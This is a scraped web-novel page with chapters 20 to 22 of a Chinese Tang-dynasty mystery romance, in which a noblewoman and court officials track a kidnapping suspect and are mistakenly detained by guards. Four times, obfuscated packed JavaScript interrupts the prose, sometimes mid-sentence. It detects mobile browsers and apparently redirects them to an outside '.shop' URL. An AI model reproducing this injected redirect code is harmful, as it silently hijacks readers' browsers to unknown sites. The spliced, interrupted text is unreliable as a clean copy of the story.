d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317618|198995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何处,此后便下落不明。 沈缨华问:“县君,可否召来平日与巧娘要好的下人们问问?” 四女二男,都是小厨房的帮佣,据六人回忆,巧娘失踪前并无任何异样,那日出门只是恰好后厨香料用尽而已,并没有刻意选定时间。而且他们都听巧娘说过,家中亲友大多已在五年前的洪灾中丧生,血脉最近的一位姨母早已远嫁渝州,多年不曾联系,府中旧仆都怜惜她身世可怜,待她多了几分宽容,这孩子为人也够真诚,人缘颇好。 “县君,官人,巧娘绝对不会私逃!”跪在地上的年轻男仆红着眼眶笃定地说。 沈缨华有些奇怪:“你为何如此肯定?” 男仆嗫嚅片刻,最终下定决心说了出来:“我心悦巧娘,私下与她约好,待我求得父母同意后定要娶她!” 此话一出,众人皆惊,沈缨华怕他一面之词不可信,继续追问:“那巧娘怎么说的,万一是她厌你怕你所以私自逃走呢?” 男仆忙从怀里掏出一个银坠子:“官人,这是我去西市宝月阁买的坠子,样式是巧娘选的,我和她各有一个,上面还刻有巧、川二字,奴叫吴川,您若不信可以去那里查一查。” 虽还未核实,但在座的人基本都信了,若是说谎,吴川实在没必要当着众人拿出此物。如此说来,巧娘定不是私逃,她一介孤女,好不容易在伯爵府安稳下来,还有了情郎,怎么看都不可能为了区区几贯钱私逃,那眼下只剩一种可能,有人掳走了她。 调查小组见伯爵府查不出新的线索,转头便去了巧娘最后出现的香料店--奇香坊。 店主已被盘问过多次,面对大理寺的人都麻木了,只得又将当日情形再说一遍。 “官人,该说的我都说了,真没了。” 沈缨华眉头紧皱,多问了一句:“当日巧娘站在哪儿?” 店主指着门边柜台旁,沈缨华又问:“你说她好像看到了什么,朝哪个方向看的?” “大概就是对面那个酒铺的方向,好像还嘀咕了一句,怎么可能……大概是这么说的吧,那日客人颇多,我真记不得了。” 三人向酒铺看去,张金问:“店主,对面这酒铺什么来头?” “哦,这铺子主家好像姓萧,开了许多年,生意不错,主要是给各家酒楼供应好酒。” 查到此处,几乎可以说是毫无头绪,三人只得去酒铺问问。 刚一进门,小二正想问他们要买哪种,掌柜突然迎上来,满脸堆笑问沈缨华:“您是沈大娘子?” 沈缨华点头,没搞明白他怎么认识自己,掌柜更热情了:“哟,娘子您怎么来了?是主母有什么吩咐吗?”一通解释,沈缨华这才搞明白,合着这酒铺是祖母的私产,既如此那就好说了。 沈缨华问起三日前巧娘有没有进铺子,掌柜唤来小二。 “进来了的,那位娘子还向我打听买酒的一位客人。” “是哪位客人?” “就一散客,偶尔来一次,不过出手大方,每次买的还挺多,所以我有些印象,他自称冯四,每次来都是自己拉走也不要咱们送货。” “那你可有留意巧娘问完之后去哪儿了?” 小二想了想忽然一拍脑袋:“哦,那冯四少装了一小坛三勒浆,他回来取的时候,我好像瞧见那位小娘子远远跟在他后面走了,只记得是出门往右,去哪儿就不知道了。” 20. 第 20 章 冯四,看来他与巧娘的失踪脱不了干系,但其买酒的时间并不固定,甚至没有送货地址,要在偌大的长安城找出此人可不容易,特别是目前他们能使唤的帮手约等于零。 张金根据小二的描述画下冯四的模样,沈缨华又嘱咐掌柜,若是冯四再来买酒,莫要打草惊蛇,他们远远跟着立马派人去沈府或者大理寺通知她即可。 三人拿着巧娘和冯四的画像沿街询问,可惜事发已有三日,东市每日人来人往,哪有人会留意两个普通人,直至闭市,三人也没任何收获,只好悻悻离开,岂料路上竟遇上一位熟人。 杨沅君疑惑:“胡七,你怎会在这儿?” 胡七:“我在东西两市帮人跑腿送货赚点小钱过活呐。” 沈缨华眼前一亮,忙把两张画像递给胡七:“胡君,你见过这两人吗?” 胡七端详半天:“这小娘子没见过,但这男的我有印象,前几日帮人送货去西市,恰好他的牛车就在我后面,嫌我拉的板车挡路,把我顶开,还骂了几句。” “你记得是在西市的哪条街巷吗?” 胡七皱眉回忆:“大概是福禄巷子那一带吧。” 张金忙拜托:“胡君,你明日带我们去那儿瞧一瞧可好?” 胡七犹豫片刻还是应了下来,沈缨华见他有些迟疑,问:“胡君,你住哪儿?” 胡七不好意思地挠头说:“就……就跟几个脚夫挤在丰邑坊里的小院,那儿房租日结,能凑合睡。” 沈缨华笑盈盈地说:“既如此,这段时间我雇你随我们查一起失踪案,你若不嫌弃就住我府上仆人的厢房,喏,这是定金,案子完结再给你一笔。”说罢塞给胡七一袋铜板。 “我哪儿敢嫌弃,多谢沈娘子,您可真是我的贵人。”胡七简直乐疯了,每次遇到沈娘子都会有好事,上次帮他洗清冤屈,这次竟直接飞来横财还包住,他决定了,日后唯沈娘子马首是瞻。 沈缨华也很满意,他们三人终于不是光杆司令了,虽是用钱雇来的帮手,但她觉得这笔钱花得值,胡七这小子虽看着俊秀阴柔,但身手绝对不差,不然怎能三番五次逃脱官府的追捕,打个下手绰绰有余。 当晚胡七就随她回府,路上,杨沅君看他颇不顺眼,狠狠盯了他一路,搞得胡七全程埋头看脚,像个委屈的小媳妇。 沅娘是个记仇的小娘子,她现在都还记恨这厮劫持丹娘,虽然丹娘说胡七也是迫于无奈用了极端方式自救,且当日他确实没有真的害人之心,可沅娘看他就是不顺!胡七也自知有错在先,才惹来小娘子的嫌弃,不敢自辩,乖乖受着吧。 沈缨华一回府,玉露、含霜就迎了上来,因娘子嫌弃她二人畏手畏脚帮不上忙,中途便打发她们回府,主母和大夫人已经来院中数次,见娘子迟迟不归,有些担心。 沈缨华将胡七交给两个丫鬟,蹦蹦跳跳去主院找祖母和娘亲:“大母、阿母我回来啦……” 萧玉和谢温宁正念叨着丹儿怎么还不回来,听见心心念念的声音,两人不约而同起身,沈缨华扑过去抱住她们,一通甜言蜜语、糖衣炮弹,把先前还信誓旦旦要批评她的婆媳哄得眉开眼笑。 沈缨华倒是晓得自己今日独断专行惹家人担心,乖乖说起缘由和一天的调查结果。 “东市的酒铺?”萧玉疑惑地看向贴身的黄嬷嬷。 黄嬷嬷笑着解释道:“大娘子说的应该是醉月轩,家主留给您的那间嫁妆铺子。” 萧玉点点头,好像有点印象。 “大母,您家底可真是太厚实了,这么赚钱的铺子竟记不得名儿,算起来我阿翁的私产怕也比不上您一根手指头。怪不得当年您这兰陵萧氏的白富美一开始还看不上他这吴兴沈氏的俏郎君,差距不是一点半点啊!” 萧玉捂着嘴笑得前俯后仰,谢温宁轻拍女儿的后背:“你这丫头浑说什么呢!” “我可没胡说,阿翁自己跟我说的,他当年在上元节上街观灯,对大母一见钟情,四处打听才知她是萧家的掌上明珠,此后便日日留意大母的消息,她若被宴请,那他就要想方设法也跟去,结果却被大母当成没脸没皮的纨绔,受了好一通骂。 他还不肯放弃,又想考上状元后去萧家提亲,结果被外高祖父告知大母早已有了门当户对的未婚夫人选,还因此郁闷了好久,殿试发挥失常只得二甲,嘿嘿嘿,结果峰回路转,那内定的未婚夫闹了狎妓斗殴的丑闻,被外高祖父踢出名单,阿翁趁机嘘寒问暖,这才搞定岳父,抱得美人归。我说得对不对啊,大母?” 萧玉笑着戳了戳大孙女的头:“你阿翁连这个都跟你说,果然心眼全偏你身上咯。不过嘛……他说的倒也是实话,他能娶到萧家千金除了才学好全靠脸皮厚。” 吐这下,连谢温宁也没忍住笑出声,一时间屋里欢声笑语,好半天才停下来,萧玉擦了擦眼角笑出的泪,问:“丹儿,你别岔开话,说说准备如何查?” “胡七见过那人,我雇佣他随咱们一起查案,顺便当我的护卫,那小子身手不错,比含霜、玉露好使。” 谢温宁还是有些不放心:“他一人哪里够,要不你带几个护卫。” “行,那我明日点上四人。大母、阿母我饿了,先让我吃一口吧,旁的等会儿再说啊。” “行,桂芳让他们把晚食端上来。” 大理寺里,裴湛还在翻看各队调查汇总的信息,越看越烦,各坊都找遍了,可这王十一娘和那驴车小孩竟凭空消失了一般,无影无踪。耿文达端上糕点:“头儿先吃点,垫一垫,我让他们去同庆楼端些吃食回来。” 裴湛随手拿起吃了一口,他皱眉看向耿文达:“你买糕点的时候怎么不一起把晚食也买了。” “您也觉得这绿豆糕跟同庆楼的差不多吧,沈娘子府上的厨子手艺真不错,把您这豪门贵公子的舌头都骗过了。” “谁?沈大娘?她什么时候来的?” “早上就来了,找沅娘玩儿,还带了好多糕点,还好我机智,直接去沅娘那儿顺了两盒,就是怕您饿着。” “玩儿?她当我大理寺是百戏园嘛!我看沅娘就是太闲了,不行,得给她找点事。” “嘿嘿,头儿,我已经给沅娘布置好任务了,就是您说的那个安昌伯府厨娘失踪的案子,我交给沅娘和张金啦,反正他俩近来没任务,正好出外勤去活动活动筋骨。” 裴湛一言难尽地看着耿文达:“你小子是不是太过分了点,两个人怎么查?” “这不是还有沈娘子嘛,她现在跟沅娘亲得好似姐妹一般,定不忍心让好友受累,绝对会喊沈府的家丁帮忙查找,反正这也不是什么要紧案子。我派人去万年县问过了,雷县令那边回复说,这厨娘就是携款私逃了,郑县君心善不想将她当做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317619|198995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逃奴处理,所以才会想方设法找人。” 裴湛叹口气,算了,现在找王家小娘子更重要,沈大娘子想掺合小厨娘失踪一事便随她去吧。 不过他还是叮嘱耿文达,每日去找张金和沅娘问问情况,那两个愣头青办事没个轻重,可别把伯爵府得罪了就成。 第二日,西市一开,调查小队就随胡七去了福禄巷子,沈缨华怕打草惊蛇,特意让所有人便服出行,两三人一组,可别全聚在一块儿惹人注目。 福禄巷是东街边上的一条小巷子,从这儿出去对面就是延寿坊,胡七当日就是要从这巷子走捷径去延寿坊,恰好挡住了冯四的马车。 巷子较窄,只能刚好让马车通过而已。为何要走这儿,明明东街出去更加宽敞,有马车也不怕多走几步,他是想避开谁?怪哉。 众人又沿途问了店家,福禄巷属于背街,来往的人流较少,无人留意冯四的去向。 线索又断了,众人正哀叹这一天又是白费工,转机突然出现。 醉月轩的小二跑得上气不接下气,终于在福禄巷找到他们。 “娘子……冯四来了,我和大壮跟了他一路,他眼下就在敦义坊!快快随我来。” 众人忙不迭随他一路小跑,进入敦义坊南边的一条街道分岔路,大壮正紧紧盯着对面路口,见沈娘子一行终于到了,忙低声汇报:“娘子,那人入了对面的巷子就不见出来了,不知他是从其他路走了还是就住在巷子里。” 沈缨华点头,随手从口袋里掏出两串钱让大壮二人先回酒铺,后面她来处理。 八人分成两两一组,去巷子里找人。 此处都是民宅小院,不过也有侵街开设的吃食小摊,再往里走又是一个十字路口,四组人散开探查,但都没有冯四的身影,眼看到手的鸭子又要飞了,杨沅君有些气恼。 她随手锤了一下墙,结果手一滑撞到旁边的木门,一位阿婆打开门看着她:“小娘子,租房的?” 杨沅君不好意思地收回手,沈缨华尴尬一笑正准备道歉,却见一个和画像相似的男人正站在院内,她默默给了沅娘一个眼神暗示,两人默契地对着阿婆点头一笑。 那男子抬眼看了一下她俩,又低头从腰间取下几串钱,放到阿婆手里,说:“张婆,租金,我先走了。”说罢走向巷子尽头隔壁一处院落,进门前又看了一眼身着胡服的沈缨华和杨沅君。 “阿婆你这院里还有空房吗?我和妹妹初来长安,手头不宽裕,想租一处小院,我看您这儿就挺不错。” “哎哟,小娘子好眼光,这儿清静采光好还便宜呐,一个月只要800文。” “不行,太贵了,600文!”“妹妹”沅娘进入角色开始杀价。 沈缨华瞧了瞧巷子尽头:“阿婆,那最里面的院子也可以租吗?” “小娘子,最里面那院子可不行,那儿不干净!” “什么?” “真的,可不是张婆子我瞎说,住这附近的都知道,那院子多年前死过人,后来就一直空着,这一年闹得凶得嘞,千万别去那儿!” “可我看刚才那位郎君住得离那院子这么近,好像也没事啊。” “小娘子,他不一样呐,他是个酒贩子,院子租来放酒的,平时很少在家。” “哦……”两人对视一眼,没错,这人就是冯四没跑了。 21. 第 21 章 沈缨华租的这处小院与冯四的前院仅一墙之隔,她将钥匙交给胡七和张金,夜里由他俩监视,她和沅娘白日再来。 夜里,胡七和张金二人穿上夜行衣,悄悄攀上墙头观察冯四。那院里摆放着几口超大的酒坛,墙根下零散放了一些小酒壶,地上杂草丛生,处处透着荒芜腐败的气息,若不是里屋还有光亮,乍看之下就像无人居住的废宅。 胡七压低声音:“张录事,咱们就这么盯着他不睡觉?” 张金没有蹲人的经验,其实也拿不准何时该歇息,梗着脖子假装很懂:“你慌什么,这得再看看,万一他突然跑了呢?” 话音刚落,冯四举着油灯从里屋出来,春夜微风晃动烛光,他的脸在微弱的光亮下忽明忽暗,显得颇为阴森。 墙外更夫敲起梆子。 嗙-嗙-嗙- 三更了。 冯四警惕地四处打量,墙头二人赶紧俯下身,等再起身,人已不在原处。 胡七和张金彼此对视一眼。 怎么回事,人不见了? 要不要进去看看? 胡七仗着自己身手好,不顾张金的阻拦,从墙头轻轻跳进院子。他猫着腰四处查看,先探了后院,再摸进里屋——床榻上的被褥还带着余温,像是刚离开不久。 冯四不见了! 二人只得返回小院,先眯一会儿,等沈娘子来了再说。 …… “什么?不见了!”沈缨华和杨沅君异口同声。 胡七和张金一脸抱歉,他俩醒来后又冒险进院子转了一遍,真没人。 沈缨华沉思片刻,说:“要么是那院子里有密道,要么就是还有其他出口。走,再随我去看看。” 她让护卫守在墙头院外,若有情况立即发暗号,他们四人则悄悄翻进院子查看。 沈缨华先是小心打开酒坛,一看都是空的。屋里陈设极其简单,只有一张床榻,一张案几,一口柜子,四个人找了一大圈,没发现密道痕迹。 “沈娘子,您看!”胡七压着嗓子指向墙上一处不起眼的擦痕。 “怎么了?” 胡七解释:“这是蹬踏留下的痕迹,有人从这儿借力翻上去留下的。” 四人抬头看向院墙——那堵墙的另一边,正是巷子尽头的“鬼宅”。 正犹豫着要不要翻过去,一声悠长的猫叫传来,四人寒毛竖起,慌忙跑去另一侧院墙边。 两个护卫早已守在墙头,伸手拉住两位小娘子,胡七和张金托着她俩的脚往上推。 她们刚过去,两个郎君立即使劲翻上。突然一声狗叫,张金本就心慌,手一滑,摔了下去。 胡七骑坐在墙头伸手去拉他,院门传来开锁声。 咔—— 张金越是着急越是爬不上去。 ——嚓 “郎君,请问这院子是要出租的吗?” “不是。” “我听人说这附近有出租的院子啊,真不是这儿?” “你去问张阿婆。” “郎君,张阿婆住哪儿啊?” “巷口第一间院子。” “多谢多谢啊!” 冯四开门进院,合上门悄悄从门缝往外看。问路的男子已走远,他这才转身查看院内,确认无误后又从内锁上门,回了里屋。 另一侧的院墙内,几人贴着墙长舒一口气。 还好院外放风的护卫反应快,假装问路帮他们拖延时间。 沈缨华心想,不愧是沈家的金牌护卫,脑子好使,回去加工资。 几人狗狗祟祟回了屋,张金抹了抹鬓角的汗水:“吓死我了,差点把大理寺的脸都丢光了。” 杨沅君恨铁不成钢地推了他一把:“你还好意思,平日让你多练练,非说什么录事不出现场,没必要,今儿差点坏事!” 张金忙认错:“沅娘教训的是,今后我定加强锻炼,话说胡兄你是练过吧,我见你翻墙身轻如燕,气息不乱。” 胡七竭力压住上翘的嘴角:“幼时跟一老兵瞎学过几招。我混迹市井,怕被人欺负,就一直这么练着。张录事若是想学每日随我练上几招即可。” 沈缨华将话题拉回:“这冯四有问题,昨儿下午我和沅娘亲眼见他回的院子,夜里你二人也只见他出了里屋没出院门,一转眼平白没了踪迹。第二日又从外面开锁回了家门,那是谁锁上的院门?莫不是还有同伙?他们到底想干嘛,为何行事如此鬼祟?” 胡七接了话:“冯四极有可能是从后院翻到巷子尽头那间院子。” 沈缨华:“那咱们就去‘鬼宅’探一探虚实。” …… “鬼宅”位于巷子尽头,院门开在右侧,其左侧与冯四的后院共用一堵墙。四人观察许久,确认四下无人,偷偷摸摸从院门附近的矮墙翻了进去。 进去之后,四人愣住了。 这宅子的布局和冯四的没什么区别,但前院赫然堆了三个土堆,整整齐齐,乍看好似三个坟头。 众人心里咯噔一下——寻常宅邸怎会堆这种东西? 四人绕过“坟头”向里张望。 房屋的门窗俱已损坏,风一过,发出咔咔的撞击声,空旷破败的屋里满是蛛网灰尘,三个看不清字迹的牌位倒在地上。 四人齐齐咽了咽口水。 一阵凉风袭来,不知谁起了头,四人齐刷刷往后退了一步。 胡七声音发抖:“这这里……应该没人哈,地上全是灰,咱们去后院瞧瞧吧。” “有道理!”四人慌忙涌向后院。 后院瞧着倒是正常不少,只是角落多了一口枯井。院外能看到敦义坊的夯土墙,几声清脆的鸟叫响起。 沈缨华耳朵一动:“冯四要出门了,咱们走。” …… 四人从门缝小心瞧着,确认冯四走出巷子,依次翻出去。一个护卫已经装作路人远远跟着冯四,另一个则等着四人,随标记带众人跟上。 冯四进了隔壁的大通坊,一路闲逛,买了不少吃食。而后突然掉头去了北街,在一处分叉路口假装拾钱袋,又左右回头小心张望,闪身进了背街。 这厮极为警觉。 沈缨华一挥手,六人分成两路,从两边包抄进去。这儿和敦义坊的布局类似,一进去就是民宅和侵街小铺。 坏了,又不见人影了。 六人晃悠许久也不见冯四的身影。胡七有些饿了,数了几个铜板便去旁边的小铺买点吃食。 “店主,胡饼多少钱?” 那店主一愣,自言自语道:“多……多少钱来着,一文吧。” “行,来一文吧。” 店主装了一个递给胡七,他傻眼了:“不是,你这什么黑店啊!东市的胡饼一文也有一对,若是西市一文能买两对呐,你这儿一文一个,是放了甚稀罕玩意儿!” 那店主忙又加了一个,说:“对不住,少拿了一个。” 胡七愤愤不平地接过饼子,丢下一文钱,咬了一口——竟然咬不动!他气得转身又去找店家理论,那男子似乎知道自己手艺不佳,爽快地退了钱。 胡七又饿又气,被张金劝住,说去北街买点汤饼垫一垫。一旁有位老翁也劝他:“小郎君,莫要与他计较,这店开了一阵,附近都知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317620|198995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道他做得又贵又难吃,还经常无故关门,也不知如何还能做下去的。他们一家人都去别家买吃食,所以你也别气了,不值当。” 沈缨华心神一动,随老翁走到主街问:“老人家,刚才有位拿着一大包吃食,穿蓝色圆领袍的郎君是不是他家的啊?” “对,刚进了那铺子里面,你也瞧见啦。” “是呢,我就说怎么开店的自己还买这一包吃食,原是自家手艺太差,哈哈哈。” 老翁也笑着走远。 沈缨华转头敛了笑容。 原来在这儿,天助我也,继续死盯。 …… 六人散开。 沈缨华和沅娘进了酒肆,在临窗位置坐下,正好能看见那胡饼店的动静。胡七和张金装作食客,坐在街边的汤饼摊子上。两个护卫一个在街角小摊前蹲着,一个假装在墙根晒太阳打盹。 眼神时不时飘向那处不起眼的胡饼店。 大约半个时辰后,店主和冯四抹了抹嘴走了出来,关上铺子向里走去。七拐八拐,进了一处寺庙。 沈缨华和杨沅君被冯四瞧见过正脸,怕被认出,没跟过去。胡七和张金则装作信徒,随上香的人群进了大殿,两人在里面转了一圈,隐约瞧见冯四去了后院。他俩假装迷路也跟了过去,一个小和尚忙叫住他们:“施主,前面不能进啦。” “啊?前面不是讲经的法堂吗?我刚瞧见有人往里面走了。” 小和尚颇为尴尬的双手合十,说:“施主,本寺场地狭小没有单独的法堂。刚才那两位施主是租住在对面小院的租客,借道过路而已。” “原来如此,我二人第一次来招提寺,得罪得罪。” 两人退出寺庙,从另一边绕道过去。尽头果然有一处小院——冯四和那店主就在这儿。 他们又去打听了一圈,周围没有可以出租的院子。 这可难办了,还怎么盯梢。 杨沅君灵机一动:“要不借住在寺庙吧,反正离得近,夜里翻到墙头瞧一瞧应该也不难。” 沈缨华:“有道理!那我让护卫先守一夜,明日咱们再看看有何进展。” …… 四人借口护卫是远道而来的亲戚,因家里太小住不下,特意来寺里问问,可有斋房出租,小和尚说后院斋房大多空着,自己去选吧。 安置好护卫,四人毫无察觉,特意从后院出去,在冯四的院外逛了一圈,鬼鬼祟祟往回走。 边走边商量夜里如何分工、盯梢,全然没发现,暗处有七八双眼睛正盯着他们的一举一动。 “头儿,就那四个人,二男二女,不良人说他们在招提寺附近徘徊许久,形迹可疑,好像秘密商量什么。要不要抓了?” 被称作“头儿”的那人眯眼看了看:“这里人多眼杂,不要轻举妄动。万一他们有帮凶可麻烦了。这样,先盯着,若他们从侧巷经过,那边全是我们的人,再一起绑了!” “是!” …… 四人走到一个岔口,沈缨华还在脑子里跟阿玲嘀咕,该怎么查找线索,旁边黑影一闪,一群大汉一拥而上,堵嘴绑人。 她的尖叫声还堵在喉咙里,人就被麻利打包带走。 阿玲:完了完了,遇上那帮西市的拐子——不对!这些人手法利落专业,分工明确,根本不是拐子,分明是训练有素的——绑架犯! 沈缨华脑子里闪过自己被大卸八块的恐怖场景,泪眼汪汪后悔怎么趟了这滩浑水。 裴湛!耿文达! 都是你二人丢来的案子害我命休! 老娘做鬼也要日日去大理寺骚扰你俩! 22. 第 22 章 四人手被绑,嘴被堵,头上套个麻布袋,目不能视,被人推进一间光线渐暗的屋子。 四人捆成一团,挤来挤去,嘴中呜呜地无法出声,此时已恐惧到极点。 不知过了多久,麻布头套猛地被掀开。 屋里围着一群大汉,个个身强体壮,瞧着英武不凡——四人更慌了。 堵嘴的布条刚被取下—— “好汉,别杀我,我没钱!”胡七第一个嚎出来。 “我我……是大理寺的,你们杀当官的可是重罪。”张金紧跟着亮身份。 “你们逃不掉啦,我们大理寺的就在附近。”杨沅君梗着脖子喊。 “我阿翁刑部侍郎、阿耶秘书郎、二叔长安县县令!”沈缨华一口气报完家门,“赶紧放了我们,否则让你们吃不了兜着走。” 四人你一言我一语,嗡嗡嗡闹成一团。 “停——”柳靖竹头都大了。 不过他还是听出了重点:两人自称是大理寺的,一人自报家世不凡。 听着着实荒谬,但保险起见,他还是唤来手下低声耳语几句,二人得令出门找人。 柳靖竹继续追问:“你们到底是何人?鬼鬼祟祟围着招提寺做什么?” 胡七:“没……没干什么。” 张金:“我们在查案子!” 杨沅君:“你管得着吗?!” 沈缨华:“赶紧把我们放了!” 又是一通嗡嗡嗡。 柳靖竹大喝一声:“闭嘴!” 四人话音一滞,都不敢吭声——眼前男子气势太盛。 柳靖竹指着胡七:“你来说!叫什么?来自哪儿?到底在干嘛?” “小的叫胡七,洛阳巩县人士,我们在查案。” “你是哪个法司的?查什么案子?” “小的一介平民,没有官职,查一个……厨娘失踪案。” “荒谬!你没有官职查什么查!” 柳靖竹话音刚落,大理寺和长安县县衙的人前后脚到了。 裴湛此刻有些不爽。 金吾卫这帮家伙光长手脚没长脑子,这几天接连抓错人,这次竟说有人自称大理寺的,让他们去认人。 他刚走到门口,迎面遇上沈县令。 二人客气一礼,皆看懂了对方眼底的无奈。 得,还是两个单位一锅端。 “少卿!少卿!我们在这儿!” 张金眼尖,裴湛一进门他就立马嚎了出来。 沈缨华背对门看不清来人,但听到这一嗓子,心知没事了——原来这是官差。 再一想,完了,堂堂沈家千金被捆成粽子,她还自报家门……丢人,太丢人了! 金吾卫一听真是大理寺的人,不等右指挥使吩咐,赶紧麻溜松绑。 四人一字排开。 沈缨华迎来了今日社死的高潮。 只听她二叔失声一嚎:“丹儿,你怎么在这儿?” 沈缨华愣愣抬头。 曾经玉树临风、如今双眼凹陷眼底青黑的二叔冲上前,紧张地抓着她左看右看。 裴湛真的要被气炸了! 柳靖竹这个蠢货不光抓错了人,还抓到他头上来了!还有耿文达——他就不该听耿文达这个蠢货的鬼话!现在怎么向沈家交代? 裴湛见沈娘子和手下都低着头不敢吭声,稳住心神,轻描淡写地说:“柳指挥使,看来是一场误会,那我们先走了。” 说完也不等柳靖竹回应,推门将人领出去,直奔一旁酒楼的雅座。 …… 雅座里,沈缨华像只老实的鹌鹑,一五一十将与大理寺官人相识的经过告知二叔,又说起这次他们在查安昌伯府厨娘失踪一事。 沈珏这才理清来龙去脉。 他非但没责备,反而兴致勃勃地传授起布局盯梢的经验:“查案没问题,但你人手也太少了,应该再回家多带几个护卫,还有啊,盯人的时候要分三层:第一层跟最紧,第二层策应,第三层远远吊着以防被发现……” 周围一群人听得面面相觑——这位沈县令,怎么还教上了? 裴湛揉了揉太阳穴。 怪不得这沈娘子无法无天,没有寻常大家闺秀的样子,合着都是沈家人惯出来的啊。 他轻咳一声:“沈明府,此事是我之过。手下人没规律,让沈大娘子卷入事端,我……” 沈珏微微一笑,抬手制止:“裴少卿,您有所不知,我家丹儿自幼聪颖,观察细致入微,又熟读律法,家里的郎君们都比不上她呐。正好她才回长安,没什么正事,案子交给她没问题。” 沈珏心想:丹儿自从摔坏脑子后,时常神神叨叨自言自语,住在道观才好了几分。但总不能让小娘子真的出家入道吧。眼下给她找点事情忙一忙,兴许人就正常了,裴湛这小子歪打正着,不错不错。 裴湛脸都绿了。 这叫什么事儿啊!王十一娘还未找到,又让沈大娘子来添乱。流年不利,待案子结束后要不去庙里拜一拜,去去晦气。 被人当成晦气源头之一的沈缨华还乐呵呵地向二叔道谢。 眼见时间不早了,四人起身准备回家。 裴湛追出去:“沈大娘子,近来城里不太平,我送你一程。” 沈珏深感他考虑周到,频频点头。 沈缨华客气一礼,裴湛令人牵来一匹骏马,又递给她一顶帷帽。 沈缨华为难地说:“裴少卿,我不擅骑马,要不还是走路吧。” “天色不早了,你家住宣阳坊,怕是闭坊也走不到,上去。”说罢推着沈缨华上了马。 沈大娘子天不怕地不怕,却最怕骑马。 骏马奔腾而起,风从耳边呼啸而过。落在别人眼里是自由快乐,到她这儿只剩下:妈妈我怕,我要回家,爸爸我怕,快让它停下来! 沈珏正想说等会儿他去找马车,裴湛已翻身上马,坐在沈缨华身后,不过刻意留了些距离。 他右手绕过她牵起缰绳,左手落在身侧。 “沈大娘子,得罪了。驾——” 双腿一夹,马儿开始小跑。 沈珏忙喊:“裴少卿,别骑快了,丹儿会怕!” 裴湛闻言,稍稍控了一下速度:“没想到沈大娘子怕骑马呀。” 沈缨华听出语气里的揶揄,立马反击:“我是比不过裴少卿文武兼修、才貌双全,让长安城里的小娘子们个个芳心暗许,让郎君们天天醋海翻腾。” 裴湛轻哼一声,默默夹了一下马腹。 沈缨华重心不稳,身子往后一栽,撞上某人硬邦邦的胸膛。她慌忙一抓,揪住马鬃,惹得马儿烦躁地叫唤一声。 裴湛掰开她的爪子,把缰绳塞到她手心:“我以为沈大娘子是谦虚,没想到你是真不会骑马。沈家竟然不教这个?你应该是个中高手才对。” 沈缨华翻了个白眼:“裴少卿,你这叫刻板印象。想当然地认为谁谁谁应该是什么样子。或许你心仪的大家闺秀就是在家温柔可人,在马球场上飒爽英姿,便觉得所有人都应该是那样。可这世间男女千千万,怎么会有固定的模子?若是所有人都是那几个模子,你不觉得无趣吗?” 裴湛嘴角微扬:“这么一说还确是无趣,裴某受教了。” 枣红色骏马一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317621|198995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路小跑,噔噔噔的蹄声回荡在坊市间。 半透明的帷帽随风扬起,她白皙的脖颈后有一颗红色的小痣,淡淡的梨花香随风钻入他的鼻尖。 明明完全没有接触,裴湛却感到一丝不自在。大概是他本身就不喜与小娘子靠得太近吧。 不过——她怎么就没有一点不自在? 被裴某人腹诽“厚脸皮”的沈缨华,此刻满脑子只有一个念头:什么时候才到家?骑马太难受了,大腿内侧火辣辣的,八成是磨破皮了……回去得让玉露找点药膏…… 一时间两人默默无语。 裴湛有些气闷,这沈大娘子不是话挺多的嘛,怎么这会儿安静得很?莫不是刚才被说了两句,也学起大家闺秀的矜持作风啦?太晚了,本性早已暴露,现在学有什么用! 他受不了尴尬的沉默,主动挑起话题:“厨娘的案子你还要跟下去吗?” “要啊,我觉得那冯四肯定有问题,说不定就是他绑了巧娘。” “目的呢?” “这我哪儿知道!或许巧娘目击到什么对他不利的事,又或许……他就是西市的拐子。”说罢沈缨华侧过头看了他一眼。 裴湛目视前方:“可能性不大,长安各坊几乎都已搜查过了,没有找到失踪的女子和孩童,若他就是拐子,还敢在城里租房开铺?” 